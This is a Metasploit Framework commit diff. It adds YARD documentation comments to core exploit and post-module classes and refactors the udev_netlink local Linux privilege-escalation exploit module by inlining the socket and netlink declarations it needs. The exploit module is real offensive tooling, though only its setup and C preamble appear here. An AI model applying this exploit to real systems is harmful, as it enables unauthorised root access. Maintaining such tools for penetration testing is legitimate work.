Skip to content

Commit f3ff5b5

Browse files
committed
Factorize and remove includes
Speeds up compilation and removes dependency on bionic source
1 parent 0466cce commit f3ff5b5

File tree

4 files changed

+93
-54
lines changed

4 files changed

+93
-54
lines changed

lib/msf/core/exploit.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -297,6 +297,7 @@ def abort_sockets
297297
# algorithm. It's just important that it returns an array of all of the
298298
# mixin modules.
299299
#
300+
# @return [Array]
300301
def self.mixins
301302
mixins = []
302303
wl = [ Msf::Exploit ]

lib/msf/core/exploit/local.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,10 @@ class Exploit
77

88
###
99
#
10-
# The local exploit class is a specialization of the exploit module class that
11-
# is geared toward exploits that are performed locally. Locally, in this
12-
# case, is defined as an exploit that is realized by means other than network
13-
# communication.
10+
# A specialization of the {Exploit exploit module class} that is geared
11+
# toward exploits that are performed locally. Locally, in this case,
12+
# is defined as an exploit that is realized by means other than
13+
# network communication.
1414
#
1515
###
1616
class Local < Exploit

lib/msf/core/post_mixin.rb

Lines changed: 21 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,10 @@ def initialize(info={})
2525
end
2626

2727
#
28-
# Grabs a session object from the framework or raises OptionValidateError
28+
# Grabs a session object from the framework or raises {OptionValidateError}
2929
# if one doesn't exist. Initializes user input and output on the session.
3030
#
31+
# @raise [OptionValidateError] if {#session} returns nil
3132
def setup
3233
if not session
3334
raise Msf::OptionValidateError.new(["SESSION"])
@@ -66,6 +67,9 @@ def cleanup
6667
#
6768
# Return the associated session or nil if there isn't one
6869
#
70+
# @return [Msf::Session]
71+
# @return [nil] if the id provided in the datastore does not
72+
# correspond to a session
6973
def session
7074
# Try the cached one
7175
return @session if @session and not session_changed?
@@ -84,6 +88,7 @@ def session
8488
#
8589
# Cached sysinfo, returns nil for non-meterpreter sessions
8690
#
91+
# @return [Hash,nil]
8792
def sysinfo
8893
begin
8994
@sysinfo ||= session.sys.config.sysinfo
@@ -100,13 +105,15 @@ def post_commands
100105
{}
101106
end
102107

108+
# Whether this module's {Msf::Exploit::Stance} is {Msf::Exploit::Stance::Passive passive}
103109
def passive?
104110
self.passive
105111
end
106112

107113
#
108114
# Return a (possibly empty) list of all compatible sessions
109115
#
116+
# @return [Array]
110117
def compatible_sessions
111118
sessions = []
112119
framework.sessions.each do |sid, s|
@@ -120,13 +127,18 @@ def compatible_sessions
120127
# Return false if the given session is not compatible with this module
121128
#
122129
# Checks the session's type against this module's
123-
# +module_info["SessionTypes"]+ as well as examining platform
124-
# compatibility. +sess_or_sid+ can be a Session object, Fixnum, or String.
125-
# In the latter cases it sould be a key in in +framework.sessions+.
130+
# <tt>module_info["SessionTypes"]</tt> as well as examining platform
131+
# compatibility. +sess_or_sid+ can be a Session object, Fixnum, or
132+
# String. In the latter cases it sould be a key in
133+
# +framework.sessions+.
126134
#
127-
# NOTE: because it errs on the side of compatibility, a true return value
128-
# from this method does not guarantee the module will work with the
129-
# session.
135+
# @note Because it errs on the side of compatibility, a true return
136+
# value from this method does not guarantee the module will work
137+
# with the session.
138+
#
139+
# @param sess_or_sid [Msf::Session,Fixnum,String]
140+
# A session or session ID to compare against this module for
141+
# compatibility.
130142
#
131143
def session_compatible?(sess_or_sid)
132144
# Normalize the argument to an actual Session
@@ -186,6 +198,8 @@ def session_compatible?(sess_or_sid)
186198
#
187199
# True when this module is passive, false when active
188200
#
201+
# @return [Boolean]
202+
# @see passive?
189203
attr_reader :passive
190204

191205
protected

modules/exploits/linux/local/udev_netlink.rb

Lines changed: 67 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,6 @@ class Metasploit4 < Msf::Exploit::Local
2727
include Msf::Post::File
2828
include Msf::Post::Common
2929

30-
include Msf::Exploit::Local::LinuxKernel
3130
include Msf::Exploit::Local::Linux
3231
include Msf::Exploit::Local::Unix
3332

@@ -47,7 +46,7 @@ def initialize(info={})
4746
'egypt' # metasploit module
4847
],
4948
'Platform' => [ 'linux' ],
50-
'Arch' => [ ARCH_X86 ],
49+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
5150
'SessionTypes' => [ 'shell', 'meterpreter' ],
5251
'References' =>
5352
[
@@ -103,53 +102,74 @@ def exploit
103102
call exit
104103
|
105104

106-
# Set up the same include order as the bionic build system.
107-
# See external/source/meterpreter/source/bionic/libc/Jamfile
108-
cparser.lexer.include_search_path = [
109-
"external/source/meterpreter/source/bionic/libc/include/",
110-
"external/source/meterpreter/source/bionic/libc/private/",
111-
"external/source/meterpreter/source/bionic/libc/bionic/",
112-
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
113-
"external/source/meterpreter/source/bionic/libc/kernel/common/",
114-
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
115-
]
116-
117-
cparser.parse(%Q|
118-
#define DEBUGGING
119-
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
120-
#ifndef __extension__
121-
#define __extension__
122-
#endif
123-
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
124-
// Doing #if on an undefined macro is fine in GCC, but a parse error in
125-
// metasm.
126-
#ifndef __STDC__
127-
#define __STDC__ 0
128-
#endif
129-
#include <sys/types.h>
130-
#include <stdarg.h>
131-
#include <stdio.h>
132-
#include <unistd.h>
133-
#include <errno.h>
134-
|)
135-
136-
[
137-
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
138-
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
139-
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
140-
].each do |fname|
141-
cparser.parse(File.read(fname), fname)
142-
end
143-
144105
payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
145106
evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
146107

147-
unix_socket_h(sc)
148-
linux_x86_syscall_wrappers(sc)
149-
150108
main = %Q^
109+
/*
110+
** All of these includes are now factorized.
111+
**/
112+
/*
113+
#include <sys/types.h>
114+
#include <sys/socket.h>
115+
#include <stdarg.h>
116+
#include <stdio.h>
117+
#include <unistd.h>
118+
#include <errno.h>
151119
#include <string.h>
152120
#include <linux/netlink.h>
121+
*/
122+
123+
#define NETLINK_KOBJECT_UEVENT 15
124+
#define PF_NETLINK 16
125+
#define SOCK_DGRAM 2
126+
#define AF_NETLINK PF_NETLINK
127+
128+
typedef unsigned short __kernel_sa_family_t;
129+
typedef unsigned int __socklen_t;
130+
typedef int __ssize_t;
131+
typedef unsigned int __u32;
132+
extern int close(int __fd);
133+
typedef unsigned short sa_family_t;
134+
typedef unsigned long size_t;
135+
extern int socket(int __domain, int __type, int __protocol);
136+
extern int sprintf(char *__s, const char *__format, ...);
137+
138+
const struct iovec {
139+
void *iov_base;
140+
size_t iov_len;
141+
};
142+
extern void *memset(void *__s, int __c, size_t __n);
143+
144+
const struct sockaddr {
145+
sa_family_t sa_family;
146+
char sa_data[14];
147+
};
148+
149+
struct sockaddr_nl {
150+
__kernel_sa_family_t nl_family;
151+
unsigned short nl_pad;
152+
__u32 nl_pid;
153+
__u32 nl_groups;
154+
};
155+
typedef __socklen_t socklen_t;
156+
typedef __ssize_t ssize_t;
157+
158+
extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len);
159+
160+
const struct msghdr {
161+
void *msg_name;
162+
socklen_t msg_namelen;
163+
const struct iovec *msg_iov;
164+
size_t msg_iovlen;
165+
void *msg_control;
166+
size_t msg_controllen;
167+
int msg_flags;
168+
};
169+
170+
extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags);
171+
/* end factorize */
172+
153173
#define NULL 0
154174
155175
int main() {
@@ -196,6 +216,10 @@ def exploit
196216
}
197217
^
198218
cparser.parse(main, "main.c")
219+
# This will give you all the structs and #defines (from all included
220+
# headers) that are actually used by our C code so we can avoid
221+
# needing them at runtime.
222+
#puts cparser.factorize
199223

200224
asm = cpu.new_ccompiler(cparser, sc).compile
201225

0 commit comments

Comments
 (0)